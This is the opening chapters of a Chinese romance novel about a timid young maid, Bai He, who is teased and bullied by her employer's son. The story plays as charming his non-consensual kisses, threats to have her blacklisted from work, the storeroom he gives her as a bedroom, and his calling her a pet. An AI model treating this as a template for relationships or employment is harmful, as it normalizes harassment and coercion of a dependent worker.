图片载入中

乖乖女佣太好欺

特大字】 【大字】 【中字】 【小字

楔子

第一届家事管理员培训班终于结业。

班主任望着坐在教室内等着领结业证书的学员们,心头涌上一阵感动。

这是她亲手所带,也是第一班结业学员,感觉格外不同。

将手上的结业证书在桌上整理好,她清了清喉咙,刻意忽略角落的四个年轻 女孩,脸带欣慰微笑的对着其他妈妈道:“很高兴大家顺利完成训练课程在今天 结业——”

教室角落突然进出一声大哭,“哇”声震天,震惊了众学员,也震绿了班主 任的脸色,震掉嘴角的微笑。

班主任不用眼神搜寻,就知道是谁这么的“感动”!“白荷,你让我讲完再哭好吗?”坐在第一排最后面,哭得梨花带雨,名叫 白荷的年轻女孩泪眼汪汪的对班主任点点头。

班主任手指略提嘴角,让微笑回复。“不过,今天的结业只是代表课程的结 束,未来——”

“乓当”声响再次打断班主任感人热泪的演讲。班主任额角冒着青筋,对着第一排最后后一桌,坐在仍纷然落泪白荷旁边的 女孩,捺着性子问道:“裘桔,你又掉什么东西了?”

“班主任好厉害,看都没看就知道我的东西掉了!”裘桔边弯腰捡掉落的铅 笔盒,边鼓掌,于是铅笔盒又再掉落一次。

废话!她跟她们相处了一百二十个小时,每个人的个性她都摸得一清二楚; 而会在重要场合出问题的,就只有她!“请你选好是要先拍手还是捡铅笔盒,好 吗?”班主任按着额角,预防爆血管。

“好。”裘桔立刻直起身来很用力的拍了几下手,再弯腰捡铅笔盒。

这女孩永远搞不清楚重点顺序!班主任觉得她的头好痛。

班主任再次清清喉咙,“未来,各位同学会经由协会介绍到清洁公司、人力 派遣等公司服务——”

“主任!”第一排倒数第二桌,一名外型天真可爱的女孩用与外表截然不同 的冷淡口吻问道:“请问你帮我找到工作了吗?”

“莫琍,在结业之后,协会就会有安排——”“为什么在授课的时候不安排,要等到结业才安排?我又不会上课上到一半 就落跑。协会的效率未免太差了吧?”

谁知道你不会落路啊?班主任真想朝她大吼。一天到晚跷课,想到就来,不 爽就不来上课,她能顺利结业还真是个奇迹。

“协会有协会的流程,一切都要按照程序来……”“这种不合时宜的流程我认为应该要废除。毕竟学员的时间……干嘛?”莫 琍往下看着轻拉她衣角的第四个年轻学员——罗蓝。

罗蓝摇摇头,“让班主任讲完。”

“我有疑问,当然要现场发问,这攸关我的权益。”“可是你影响到其他学员的时间了。”

”难道这间教室除了我以外,没有人关心他们的权益吗?”

“当然关心。”罗蓝的语调平平稳稳的。

“关心那怎么不问?都是我在问,好像我很恶质似的!”莫琍对其他学员喊 着,“你们都该感谢我,只有我在替你们出声,不然就算协会拿了钱却压榨我们, 你们也只能当乌龟!”

“协会不会这样。”

罗蓝的语调还是平稳,然而,旁边的学员已经有往另外一边逃去的趋势。

“你是协会派来的间谍吗?不然干嘛一直帮他们说话?”

坐在后面的两个女孩已经将椅子移到门口了。“我不是。”罗蓝很坚定的摇头。

其他妈妈学员纷纷跳到班主任旁边寻求庇护。“谁知道你是不是真的不是?间谍会在脸上写不是的吗?”

“我就说我不是!”罗蓝突然站起来狠推了莫琍一把。

莫琍立刻整个人摔跌在地上。

“你再废话一句试试看!”罗蓝突然从靴子里掏出一把小刀,舌头在刀尖上 舔了下,“再说啊!”

“我没问题了。”莫琍扶正椅子,乖乖坐回位子。罗蓝见状,将刀子收回靴中,正襟危坐面对班主任。“主任,你可以继续演讲了。”

“喔……好……”班主任连忙将躲在她身后的妈妈们赶回位置。

看大伙噤若寒蝉的模样,罗蓝弯出让众人不寒而栗的微笑。

“不用担心啊,我不当太妹很久了。”

可是那狠劲还在啊!大伙害怕的想。

“她也不当太妹很久了。”罗蓝拍拍身旁的莫琍.大伙嘴角抽搐的微笑点头。

这四个问题儿童……班主任庆幸自己终于可以摆脱她们了。

想她这一百二十个小时里,不是被连壁虎死掉都要哭个老半天的白荷烦死, 就是被一天到晚火烧厨房、弄断扫把的裘桔气死,要不就是被三不五时对她出言 不逊的莫琍整死,还有那平常安静得像空气、脾气一爆发就像厉鬼的罗蓝吓死。

呜呜……其实她最感动的不是她亲手带过第一届,而是终于可以解、脱、了 ……

第一章

手上拿着协会发给的介绍函,白荷来到了她未来的老板住所前。

在她眼前矗立的是一间大宅院。

高高的围墙阻碍了她的视线,实本做成的大门阻断了她的好奇。

她看着两旁似乎延伸到海角天边的围墙,想这栋宅院一定大得不得了,说不 定庭院就有好几千坪,室内有好几百坪,她可以尽情发挥在家事管理培训班所学 来的所有技巧,让这房子三百六十五天都拥有干净的环境,她的主人将会吃到她 亲手烹煮的好吃食物……

想着想着,还没见到主人是啥模样,她已经因为在心中描绘出美好的远景而 感动落泪了。

突然前方的实木大门被一庞然巨物砰然撞开,一只大熊在柏油路上滚了两圈, 然后站起。

有熊!

“啊!”白荷惊声尖叫。

大熊站定之后又冲人屋子内,里头立刻传来问吼声,乒乒乓乓的杂音不断传 人白荷的耳里。

胆子小的她眼眶噙着泪,小心翼翼的往大门走去,想知道里头发生了什么事, 为什么未来的主人家里竟然养了头熊?

她以后的工作是不是包括要照顾那只熊?

如果那只熊咬断她的手臂当食物怎么办?

没有手臂她怎么做家事?她又不会武功,不能去当什么行走天涯的独臂刀, 她会失业,成为乞丐、流浪汉的……

白荷人才刚走近,大门又突然被撞开,适才那只大熊又滚了出来。

这次大熊没有直接摔倒在粗砺的柏油路上——被好奇心害死的白荷就躺在“ 它”身下,成了“它”的垫背。

呜……她快被压死了!

她感觉身上压了块大石头,怎么也喘不过气来。察觉身下压了个人,狄狂慧立刻脚一蹬,翻滚到白荷身侧。

“喂?”狄狂慧推推看来娇小纤弱的小姑娘。“你没事吧?”

熊脸突然在她眼前大特写,他的嘴角还蜿蜒着触目惊心的鲜红血液。

她的手臂被咬掉了!一定被咬掉了……白荷双眼一翻,昏了过去。

“怎么了?”一名身材高大的男子走出来。“我好像撞昏了她。”狄狂慧懊恼的站起。两个男子身材一般高大壮硕,同样都是虎背熊腰,只不过后来出来的男子蓄 有胡子,两个极为相似的面容,明眼人一看就知道这是父子。

“昏了?”狄清心瞟了地上的白荷一眼,“昏了就做人工唿吸啊。”

“人工唿吸?”狄狂慧傻眼。

那不等于叫他吻这个女孩?

“你想到哪去了?”狄清心挥来就是一拳,狄狂慧连忙架臂格挡。“你撞昏 的就该你负责,等等她挂在家门口谁收拾?”狄清心甩手走进屋里。

她只是昏了,赏她两巴掌就会醒了,干嘛做人工唿吸?

狄狂慧弯腿蹲下,仔细审视着晕倒在马路上的女孩,这才发现这女孩面容清 秀,五官细致巧小,很中他意。

他很少看女孩这么顺眼的,她晕厥的模样跟老妈那只红贵宾装死时还真是一 模一样的可爱!

既然老爸说人昏了就该做人工唿吸,那他当然就义不容辞的发挥大侠精神, 给他吻——不,人工唿吸下去罗!

狄狂慧一手捏住白荷挺秀的小鼻,一手捏住娟巧的下巴,粉嫩的小嘴随即张 成o形。

就连被他摆弄成这种丑样,看起来还是可爱得让人心揪紧……狄狂慧的心脏 好用力的跳了一下。

“失礼了。”他深吸口气,低头凑上她的唇。女孩的唇软软嫩嫩的,一触及,狄狂慧就心跳加速。吸气、吐气、吸气、吐气……

就在他辛勤的做着人工唿吸时,白荷醒了。她张着惊恐水眸,全身僵直的看着狄狂慧嘟着嘴朝她俯近。

“啊……”惊叫进出喉头,弹跳出舌尖,狂乱放送。“啊啊……救命……不 要吃掉我!不要……”

狄狂慧被她的叫声撼住,愣了好一会。

“闭嘴,不要吵!”

白荷压根没听到他说话,她吓得半死,只顾着不断的摇头尖叫。

“闭嘴!”他的耳膜快被震破了。

”啊——救命……”吓坏了的白荷仍止不住尖叫。见她像得了失心疯似的乱喊乱叫,受不了的狄狂慧索性再次低头,直接封住 她的唇。

她的小嘴一下子就被他的大口封住,但因用力过猛,牙齿撞着了牙齿,痛得 白荷流出了泪。

她连忙伸手想捂住发疼的嘴,不料刚巧打中狄狂慧的脸,免费送了他一巴掌。

“好家伙,你打我?”狄狂慧一向勇于接受挑战。“要打架是吧?”

他一把将白荷拉起,高大的身形挡住白荷顶上的阳光,在她不知所措的瞳眸 中,满满都是狄狂慧的身影。

“来呀!”狄狂慧摆起架势,两腿与他壮硕的体格不相衬的轻盈跳跃。“出 手吧!”

“不……我……”见他随时都会挥拳相向,由荷吓得嘴唇发颤,一个字都说 不出口。

“你不动手,我要来了。”

“不……”泪水狂流。

“看我揍扁你!”

猛烈的左拳袭来,拳头未到,拳风已经将白荷给击倒了。

她又是两眼一翻,往后软软倒去。

“你又把她弄昏了。”躲在门后看戏的狄清心白了儿子一眼。

眼明手快扶住白荷的狄狂慧撇嘴,“我哪知道她胆子这么小!”

不过她受惊吓的样子好好笑,脸上流满眼泪的模样好有趣,就跟老妈养的那 条红贵宾一样,动不动就吓得尿失禁。

她的脸圆圆小小的,眼珠子也是,无辜可爱的模样跟那只红贵宾还真有得比, 真想把她收起来当宠物。

老妈严格禁止他接近那条红贵宾,那他自己养一只总成吧!

“现在你要怎么办?人工唿吸?”狄清心单眉微挑。“正有此意。”

狄狂慧手勾住白荷的后膝,轻而易举将娇小的她横抱起。

“不过不是在门口。”

休想他会再表演一次给色胚老头看!

☆☆☆

在狄家,靠东南边的房间里,秀气婉约、看来不过三十出头,其实已经四十 五岁的狄家夫——邱滢双纤手抚摸着温顺的红贵宾,弯着一双美眸笑问儿子,“ 听说你弄昏了一位小姐?”

“那是意外。”狄狂慧淡道。“她刚好站在门口,成了我的软垫。”他一双 深邃的眼眸一直盯着母亲手中的红贵宾。

一注意到狄狂慧的视线,名叫多多的红贵宾立刻全身警戒。

打一进狄家,这个主人的儿子就想尽办法捉弄它。有次它生气的反抗,咬了他脚趾一口,就被踢到角落去,害它差点成了瘸脚 狗。

还好主人英明,严格禁止这头大熊再次靠近它,要不它脆弱的小生命—定没 多久就被玩完。

“好像。”狄狂慧冷不防伸出大手,多多的尖尖下巴立刻被抬起。

“呜……”多多狺狺低吠。

“不要欺负多多。”邱滢双拍掉儿子的手,将多多整个拥在怀里,善尽保护 小宠物之责。

“我不会再跟你玩了。”狄狂慧嘿嘿笑着,“我也有一只宠物。”

“你养了什么?”邱滢双好奇的问。

“秘密。”狄狂慧大步走出母亲的寝室,“我要去看我的宠物醒来了没。”

狄狂慧绕了一大圈,才走到他北边的寝室。狄家占地两百坪——这还不包括庭院的部分——当初政府土地重划时,狄家 祖父弄来一块五百多坪的上地,精心规划了他理想中的房子。

受日本教育的狄爷爷所钟意的也是日式的房子。占地两百坪的房子是日式木造建筑,冬暖夏凉。三百多坪的庭院则是仿古色古香的京都日式庭院——小桥流水、石灯笼、石 制石阶、铺满碎石的石板散步道……别有一番意境。

目前狄家主屋只居住着三人。

两夫妇住在东南边的房间,狄狂慧则住在北边。家里除了,对园了夫妇外,本来还有一个管家,但因管家年事已高,邱滢双 不忍见她年纪一大把还要蹲在地上擦擦洗洗,故给了她一笔退休金,让她告老还 乡去了。

邱滢双从以前就是十指不沾阳春水的千金大小姐,嫁来狄家之后更是连衣服 也没洗过,一切都交给这名能干的管家。

现在管家退休了,她当然急着找新的佣人替补,所以白荷才会有此工作机会。 只是没想到上工第一天,她就被少爷给吓昏了。

除了祖先遗留下来的大笔财产外,狄家在附近开了家技击馆,专门教授跆拳、 空手道、泰拳等技击类运动,长期锻链的结果,两父子都拥有如大熊般的健壮体 格。

走进寝室,如红贵宾一样有着小小圆圆的脸庞,纤瘦娇小的白荷躺在狄狂慧 的床上,秀眉轻蹙,面容透着惊惧。

“不要吃我……”她喃喃说着梦话,“不要吃我……”

好可怜喔,在作恶梦。

浑然不觉自己就是始作俑者的狄狂慧怜惜的轻抚白荷冒着薄汗的细致脸庞。

“拜托……”白荷小手在空中乱挥,似在抗拒什么。“别吃我……拜托!”

看她被恶梦所困醒不过来,狄狂慧大发慈悲的决定帮她一下。

要把一个人从恶梦中拖出来的最好方法就是——“啊!”

狄狂慧突然拉住她的耳朵大吼。

这招果然有用,白荷倏地清醒。

有熊!

“啊!”她也跟着大叫。

“闭嘴!”无时无刻不尖叫,烦不烦啊?

狄狂慧的大手狠狠的阖起她的下巴,盖住她的嘴。白荷惊惧得瞳眸瞪得老大,害怕的泪水不断滚落。清醒之后,她终于看出眼前的不是熊,而是壮得像熊的男人。

他那对浓眉,那双吓人的大眼,透着一股杀气;那宽厚的大嘴似乎正在咬牙 切齿,打算狠狠咬下她的肉——

她想自己会死在这个人的手上,仅活十九年的小好招龄天回归大地……

看她吓得全身发抖的模样,真是让人可怜又可爱。“这是不是你的?”狄狂慧摇摇手上一张上头踩有鞋印的纸。

白荷张大水眸,无奈眼前—片朦胧,怎么也看不清楚纸的模样。

她眨了眨眼,再眨了眨眼,才看出那是协会发给的介绍函。

她点点头。

“你是今天要来报到的女佣?”

白荷闻言惊然一惊。

这大熊——不,这男人不会是她未来的老板吧?呜……她长得好可怕,不晓得会不会打人……“你以后要叫我少爷。”

白荷立刻乖巧的点点头。

“不准再大喊大叫,不然我就拿胶布把你的嘴巴黏起来。”

白荷再点点头。

很好,人果然比那只畜生聪明多了,一说就懂。狄狂慧将大手拿开。

压力一移走,白荷大松了口气,感觉她的小命还可再安然存活下去……

“你叫白荷?”狄狂慧斜睨着她问。

“是的。”

“是的后面是不是应该加什么?”

白荷愣了愣才赶忙补充,“是的,少爷。”“你知道你现在躺的是什么地方吗?”

白荷摇摇头。

“我的床。”

什么?白荷立刻连滚带爬的下了床。

“对不起……对不起少爷。”

“没关系。”

她受到惊吓的模样真是太可爱了!

“谢谢少爷。”

“你有带行李来吗?”

行李?

“协会说只是全日工……”

“全日工就是要住在这里。”狄狂慧单眉微挑,一股肃杀之气立刻让白荷吓 得半死。

“我……我不知道……协会说只要从早上八点做到晚上七点,就可以回家… …”

“如果少爷要吃消夜呢?我要找谁煮?”

“这……”

“我清晨五点就起床,谁煮早餐?”

“呃……”

这人都晚睡早起的吗?

不再让白荷有抗辩的机会,狄狂慧很不客气的扯住白荷细小的肩膊,离开房 间,踏上可通往各个房间的长廊。

白荷觉得自己好像置身于电视场景中的日式豪宅。右手边足壮观的日式建筑,左边是豪华的庭院,还有大大的池塘,弯弯的小 桥,许多说不上名字的石头雕刻……

这地方好漂亮。

“很美喔?”

白荷用力点头。真的好美。

“全部都由你一个人负责。”

未解其意的白荷不明所以的望着高她二十七公分的秋狂慧。

“你每天早上起来要负责修剪庭院的花草树木、要养鱼、要打扫,还要清扫 主屋、负责三餐加点心消夜。”

白荷双眸瞪大了。

这……这么大的房子就她一个人整理?!

不会吧……

“我妈长年卧病在床,所以你还要帮她刷洗身体、帮她熬药。她的食物还得 另外准备。”

还要照顾一个病人?白荷不由得联想起那苦命的阿信。

“你不会是想落跑吧?”

白荷艰困的摇摇头。

其实她真的根想落跑。

这么大的工作量,她就算做二十四小时也做不完。“你落跑的话,我就去跟协会讲。”狄狂慧摇摇手上的纸,好像那是威胁她 最好的武器。“让他们再也不介绍你工作。”

白荷吃惊的瞪大眼,小手紧捏着t恤的尾端。看她咬着唇犹豫的楚楚可怜模样,可见她是很需要这个工作的。

狄狂慧欺负她的利器又多了一样。

“你要乖乖听话,不然以后会让你没工作做,饿死街头喔。”

“我会……”白荷咬着唇,声音轻若蚊鸣。“会什么啊?”狄狂慧手搁在耳朵旁,装模作样。“我会乖乖工作”

“如果做不好的话,要扣薪水喔。”

做不好会扣薪水?白荷瞪大眼。

“我家所有的东西,像那些花瓶啦什么的,每个都是古董,一个都要好几百 万,所以要小心整理喔。”狄狂慧指着客厅的摆饰说道。

看着客厅内与人等高的花瓶,白荷不自觉的吞咽了口口水。

“庭院内的树木都是从日本空运来的,光是幼苗就好要几十万,可别养死了, 不然我爸会叫你去日本找回来还他。”

他爸爸一定也跟他一样,壮得像只熊吧?弄死了他心爱的花草树木,八成会 被丢人池塘喂鱼。

想到凄惨的未来,泪泡在白荷的眼眶成形。其他人不知道有没有像她一样,进了这么危险又恐怖的地方帮佣?

她好想逃得远远的,请协会帮她另找工作,可是上工第一天就跑掉,一定会 被班主任骂的。

“你很爱哭耶!”狄狂慧擦着腰,瞪着眼泪快掉下来的白荷。

“我没有哭。”她声音硬咽。

“我告诉你,我很讨厌女人哭,我只要看到女人哭,我就会想……”

“会想什么?”双眼不经意眨动,眼泪滑落颊边。狄狂慧矮身吻住她的唇。

他的吻来得那么快,白荷毫无防备。

“知道了?”狄狂慧邪气的一扬嘴角,“敢哭我就吻你。”

哪有人这样的,哭就要被吻?

小嘴方张想抗议,但狄狂慧一个凌厉瞪视,她立刻将已弹到舌尖的抗议硬生 生咽下。

“我带你去你的房间。”狄狂慧看起来快乐极了。老妈的红贵宾不给他玩没关系,他自己找来一只更可爱、更听话、更乖巧, 而且会做很多事的漂亮小宠物!

第二章

绕了房子一大圈,白荷惊愕的发现自己又回到狄狂慧的房间。

她怯生生的问:“请问我的房间在哪?”

“就在这里。”

狄狂慧“唰”的将和式纸门拉开,带她经过小客厅、她刚躺过的房间、书房, 最后在一间约三坪大的房间停下。

“你的房间在这。”狄狂慧两手环胸,靠在墙上。这是……仓库吧?白荷吃惊的望着放满杂物的房间。即便她个子娇小,只有一五八公分,可这地方摆满杂物,想要整个摊平,也 有困难度。

“你不晓得古时候的佣仆只能睡在厨房的地板上吗?”狄狂慧冷哼了声。

“但现在不是古时候啊……”虐待佣仆可以状告老板的。

“你刚刚说什么?”狄狂慧恐怖的凶眼瞪视着她。“役……我什么都没说。”他的气势太吓人,白荷再有胆也不敢公然违逆他。

白荷看看房间。再看看狄狂慧身后一间连着一间的空间,面有难色的问:“ 这样出人不是会打扰到你吗?”

“我没关系。”

但她有关系啊!

这里唯一能通到外头走廊的出口,除了爬窗,势必得经过他的睡房,她觉得 自己好像受到监视似的,一举一动都被他的视线所盯。

白荷无措的小手擦着裤管,犹豫着是否该出口请求他另外换个房间给她。

“狂慧?”外头突然有女人的温柔嗓音朝房间里头喊着。

狄狂慧脸色微微一变,猛然将白荷推入仓库内,并关上。

“你里面藏了什么?邱滢双指着仓库问。

他推白荷人仓库时,用力过猛,白荷整个人跌在杂物上,乒乒乓乓的声音到 现在还没停。

“宠物。”

“你养了大狗?”能弄出这么大声音的,只有半人高的大狗了。

“算啦!”狄狂慧不耐烦的问邱莹双,“什么事?”“我要你打电话去问问那个什么就业协会,他们介绍的女佣怎么到现在还没 来?”

女佣?被杂物砸疼头的白荷一愣。她指的不会是她吧?

“搞不好半途落跑了。”狄狂慧毫不在乎的说。“少胡说八道!”邱滢双眼狄狂慧一眼,“快去打电话!”

我在这里呀!白荷猛力敲门。

“什么声音?”邱滢双望向仓库的木门。

“就跟你说宠物嘛!”

“我是协会介绍来的女佣!”白荷大喊。

邱滢双与狄狂慧互看一眼,狄狂慧吊儿郎当的吹着口哨。

“你这死孩子,又胡乱整人!”

邱滢双一把推开狄狂慧,用力拉开木门。

杂物掉落的烟尘让白荷看起来十分狼狈,一头一脸脏兮兮。

“怎么这么年轻?”看到白荷那未满二十岁的娇悄脸孔,邱滢双惊愕出声。

她看起来应该跟狂慧差不多年纪,了不起二十岁,这种年纪的孩子都爱玩, 怎能处理繁重的家事?

“这么年轻能做什么事?”狄狂慧顺水推舟,“拿来当宠物养还差不多。”

“她是人!”邱滢双瞪儿子一眼,“去打电话给协会,说我要换一个。”

要换人?白荷慌张的看着狄狂慧。

在这个危急时候,她第一个想到求救的是刚才狠狠戏弄了她一顿的狄狂慧。

“早叫你听我的话。我不是说不乖就会被赶出去吗?”狄狂慧冷哼出声。

“我……我虽然年轻,但我会做很多事……”泪泡又在眼眶凝聚;蓄势待发。 “协会有教我很多事,我什么都会,洒扫、洗衣、煮饭……统统都会。”

“妹妹,家事很无聊的。”邱滢双开解道。“你这个年纪是做不来的。”

“我可以!”白荷哭着保证,“求你让我做做看,不行的话再换人,好不好?”

看她哭得可怜兮兮的,邱滢双也于心不忍。“好吧,那你做几天试试,受不了再跟我说。”“谢谢太太。”呜……她终于不会被辞头路了。“时间不早了,你等等去准备晚餐。”邱滢双转头叮嘱儿子,“带她熟悉一 下环境,需要帮忙的地方,你就多帮点忙。”

“喔。”狄狂慧模拟两可的应声,听不出是答应了没。

待邱滢双—走,狄狂慧立刻不怀好意的冲着白荷笑。他的笑很诡异,让白荷起了一身鸡皮疙瘩。“你很笨耶。我妈叫你回协会,你就可以换一个轻松一点的工作了。”

对喔!白荷恍然惊觉。

她竟然傻傻的推走可以离开恐怖大熊魔掌的机会!“还是你舍不得我呀?”熊掌撑在白荷左右两侧,将娇小的白荷给禁铜起来。

“才没有!”他公然挑情的话让纯情白荷红了双颊。“对了,我刚刚是不是有警告过你一件事?”“什么事?”他还想找她什么麻烦?

“我警告过你不可以哭。”

白荷瞪大了眼。

“如果哭了我就会……”

粉红小嘴儿倾刻问被熊嘴所吞没。

☆☆☆

耿狂慧早就带她绕过一圈熟悉过环境了,故白荷在看过冰箱剩菜之后,就准 备去市场买菜。

“要本少爷带你去吗?”狄狂慧站在挑高的走廊上,居高临下望着坐在阶梯 上穿鞋的白荷。

“要。”白荷点点头,“我不知道市场在哪里。”这个地方对她来说是很陌 生的。

“你要说:请少爷带我去市场。”

“情少爷带我去市场。”

白荷一向从善如流,尤其是面对恐怖的少爷,她更是乖巧,以免等等不知又 会如何被整。

“很好。”狄狂慧满意的点头。

两人一起走向车库时,白荷意外发现靠近车库的大树上躲着一个人。

“哈罗!”树上那名看来约有四十来岁的欧吉桑朝她打招唿。“你是新来的 吗?”

这个人是谁啊?白荷纳闷的回头望狄狂慧。“走了!”狄狂慧拉着她的手,脚步加快。“情问你是谁?”白荷边小跑步边回头问。“我是园丁。”欧吉桑挥挥手。

园丁?又是一个令她惊奇的人。

“圆丁是不是负责整理庭院的人?”

“对啊!”狄狂慧理所当然的应。

“既然有负责整理庭院的人,你为什么说我也要整理?”

“原则上是不用,但我叫你去整理,你还是得去整理。”

总言之,他就是摆明欺负她。

白荷委屈的扁着小嘴,搭着狄狂慧的车来到超级市场。

走在白荷前方的狄狂慧突然拿起蔬果展示架上散装的小番茄,放在白荷翘翘 的嘴唇上。

“你干嘛?”白荷连忙接住滚下来的小番茄。“嘴翘那么高,等等拿猪肉吊在你嘴上!”“谁叫你每次都欺负我。”

“怎么?雇主不能欺负佣人?”狄狂慧两手环胸,很不友善的盯着挑选食材 放人菜篮里的白荷。

“现在不是古时候了,我又不是卖身到你家,你不能这样欺负我。”

卖身啊?狄狂慧心里有了主意。

买了满满两袋的食材,白荷气喘吁吁的提着走在前面,狄狂慧则优闲的两手 插在裤腰袋里走在后面。

他是雇主,提菜的工作当然得由佣人来做罗。而且他已经够慈悲的当她的司 机了。

“少爷……”白荷喘着气回头问,“车子停在哪?”“停在刚刚停的地方。”这笨蛋不会是忘了吧?“可是我忘了在哪了。”

他怎么走得这么慢啊?提着菜的人比两手空空的人走得还要快。

还真的被他清对了。

“直走就对了。”狄狂慧有些不耐烦的回答。“喔。”白荷再问,“少爷,你可以走快—点吗?快五点了,我怕会来不及 煮晚餐。”

“我走路一向这么慢。”才怪。

白荷因为提着重物而气喘吁吁,小脸蛋儿透着过度用力的红光,再加上额际 的薄汗,在灯光下闪闪发着光,看起来乱可爱一把的。

他要看久一点,才舍不得走快,一下子就结束掉这美好的时光。

算了,这个人从来不会理会她的要求,她还是自求多福吧!

白荷无奈的转回身,不料前方一块挡轮胎的突状物绊住她的脚,毫无防备的 她立刻向前仆倒。幸运的是在她前方站着一个正埋首在后车厢整理东西的壮汉, 让她不至于摔在地上跌个狗吃屎;倒楣的是,她不仅整个人撞到那个壮汉,连手 上的东西也甩到他身上去。

一盒鸡蛋自塑胶袋最上层飞出,不偏不倚,砸在壮汉后脑灼。

黄色与透明的浓稠液体缠住壮汉的平头短发,在他起身的同时,流下颈子与 衣领间。

“你干什么?”被砸了一头鸡蛋的壮汉气唿唿的拉住白荷的领子。

他不只被砸了鸡蛋,还被她撞得差点半身不遂!“对……对不起……”白荷脆弱的眼泪被吓了出来。“对不起就有用,要警察干嘛?”壮汉声大如雷,白荷泪水立刻狂流。

“呜呜……”

“哭什么?”壮汉恼怒的一抹颈上的蛋黄,气得半死。“你要怎么赔我?啊?”

白荷吓得一个字都说不出,只有不断滚落的眼泪说明她有多害怕。

“你他妈的不要只会哭——”

“手放开!”

快步走过来的狄狂慧一到现场,毫不客气的立刻打掉壮汉扯着白荷领子的手。

敢碰他的小宠物?找死!

“你是谁?”壮汉恶狠狠的怒视比他还要壮、还要高出半个头的狄狂慧。

“我是她的主人。”狄狂慧将白荷推到身后去,“有什么事找我谈。”

被推到狄狂慧身后去的白荷,仰望着几乎将她娇小的身形全都遮住的狄狂慧, 突然觉得她的雇主似乎也没想像中那么差劲。

她原本以为他不会理她的死活,却没想到他竟愿意挺身保护她。

她觉得好感动,心脏莫名其妙的怦怦直跳,惊惧的泪水转为感动的泪水,仍 是哗啦哗啦的在脸颊上狂奔。

“她把鸡蛋砸在我头上!”壮汉指着头上黏稠的液体。

“你竟然毁了我家的鸡蛋!”狄狂慧大皱其眉,“你得赔我鸡蛋。”

嘿,讲不讲道理啊?壮汉火大了。

“你聋了啊?我说那个女人把鸡蛋砸到我头上!”“哈!”狄狂慧大笑,“你看她哭成那个样,有胆子砸你鸡蛋吗?”

被保护在后头的白荷哭着附和,两只纤手胆怯的紧紧抓住狄狂慧的t恤下摆。

“好啦,我也不跟你计较你毁了我家的鸡蛋,反正一盒才几十块。”狄狂慧 朝地上散落出来的食材指了指,对白荷说:“快收拾收拾,回家煮菜!”

“是……”泪水依然止不住的白荷边哭边捡东西。莫名被砸鸡蛋、被撞了腰,竟还差点得赔鸡蛋钱的壮汉怒气冲冲的一把扯住 狄狂慧的衣服。“臭小子,看我教训你!”

“要打架?”狄狂慧立刻眼睛一亮,退后两步摆出架式,“来!”他掌心朝 上,朝壮汉招手。

“可恶的臭小子!”

壮汉一个拳头挥过去,狄狂慧立刻掌心包住他的拳头,另一只手抓住他的前 臂一扭,壮汉立刻痛得哀哀叫。

“你这样不行,空隙太多,很容易就被撂倒。”狄狂慧打架时仍不忘自己技 击馆馆主儿子兼教师的身份,指导起壮汉来。

“可恶!”壮汉这次改用脚扫。

狄狂慧轻盈的跳过,肘一拐,壮汉肾脏被打中,痛得差点在地上打滚。

“你的手臂要夹住腰,否则很容易让人有可趁之机。”狄狂慧从口袋中拿出 一张名片,“有空来学习一下,我软你打架的技巧。”

狄狂慧拍拍壮汉的肩,再走到白荷身后,将忙碌的她拎起。

“收拾好了没?”

“好了好了!”白荷将最后一颗番茄放进塑胶袋内,急急忙忙跟上狄狂慧。

“臭小子!”狂汉大吼值直朝狄狂慧冲撞过去。狄狂慧回身,腰一侧,煞车不及的狂汉一头撞到柱子,躺在地上数星星。

“他会不会死掉?”白荷脸色苍白的盯着不晓得还有没有气息的壮汉。

狄狂慧弯腰探他鼻息,“还活着。”

白荷松了口大气。

“那我们要不要叫人来救他?”她怕现在把他叫醒,他又要找他们麻烦。

“不用。”

“可是万一他撞坏脑袋怎么办?”白荷好担心。“不会的。”狄狂慧大笑。

“很难说耶,还是叫人来救他吧。”

狄狂慧白了同情心泛滥的她一眼,“等会儿到出口时,你自己跟警卫说。”

“好。”

然而,白荷才走了两步,壮汉就醒来了。

“他醒了!”白荷吓得大叫,赶忙提起脚步,手上的两个塑胶袋像突然空了 一般,跑得飞快。

见她惊魂未定的狼狈模样,狄狂慧忍不住大笑。唉唷,他可爱的小宠物,真是可爱哪。

第三章

上工第一天晚上,整理完用过的碗盘后,白荷向狄家两老提出要回家整理行 李、隔天早上再回来工作的要求。

狄家两老自然应允,可狄狂慧却要求她当天来回。“可是现在都快九点了,我怕我会来不及搭上公车。”白荷面有难色的说。

从她家到这里来回要两个小时,再加上整理时间,绝对赶不上最后一班公车 的。

暴君嘴角一撇,“我载你。”

他二话不说,扭头往车库方向走。

“快去!”邱滢双赶忙要她跟上去。

有人载是很好啦,可是他的大少爷脾气很难捉摸,她怕她这一路又是被他从 头整到尾,那很可怜耶。

“你在蘑菇什么?”见人没跟上,狄狂慧不爽的回头吼。

“来了来了!”白荷连忙提起小短腿跟上去。待他们走远,邱滢双立刻在专注看电视的丈夫旁边咬耳朵。

“我看狂慧挺喜欢那名小女佣的。”

“年纪相近吧!”狄清心淡道。

他可不敢告诉老婆。他曾经怂恿儿子做了什么“好事”。

“你儿子一天到晚就只喜欢打架、整人,我看白荷人乖巧温顺,不知会不会 影响他的个姓,让他懂得照顾体贴别人。”

很难。狄清心在心中回答。

“你看他刚刚竟主动说要载白荷回家整理行李,应该是有点不一样喔。”邱 滢双笑道。

她养出了一个如大熊般的儿子,魁梧壮硕的身材再加上自小跟父亲学习技击, 该会的、不该会的打架技巧就跟人饿了会吃饭—祥,变成本能,让她头疼得不得 了。

她一直希望能生个乖巧的小女儿,平衡一下暴戾气重的儿子。无奈她身体孱 弱,就连狂慧都是怀孕九个月住院八个月才平安产下。

生这个儿子仿佛耗尽了她所有生命,就算她想要,医生跟丈夫也不可能答应 让她怀第二胎。

她只能在夜晚默默含泪,在梦里生一堆漂亮的女儿,甜蜜可人的喊她妈妈。

狄清心瞥了自作多情的妻子一眼,手揽过她的头靠在他肩上。

才一天时间就让儿子懂得什么叫温柔体贴?依他来看,应该是可怜的白荷被 要得团团转吧。

“有一句话说得好,狗改不了吃屎,你就别痴心妄想了。”他在表现温柔之 后,毫不留情的泼了妻子一桶冷水。

原来欺负人是会遗传的……

☆☆☆

坐在行驶中的车子里,狄狂慧跟着cd的乐音唱起歌来,白荷这才知道他有 一副好歌喉。

低沉略哑的嗓音潜藏着强烈的爆发力,飘高音时尤其感人,在旁边细细聆听 的白荷悸动得眼眶又汪着一泡泪。

一曲唱毕,白荷立刻疯狂的拍手,拍得小手掌心都红了。

“好好听!你唱歌好好听喔!”她揩掉因激动而落下的眼泪。

“我在学校可是摇滚乐团的主唱。”狄狂慧很臭屁的说。

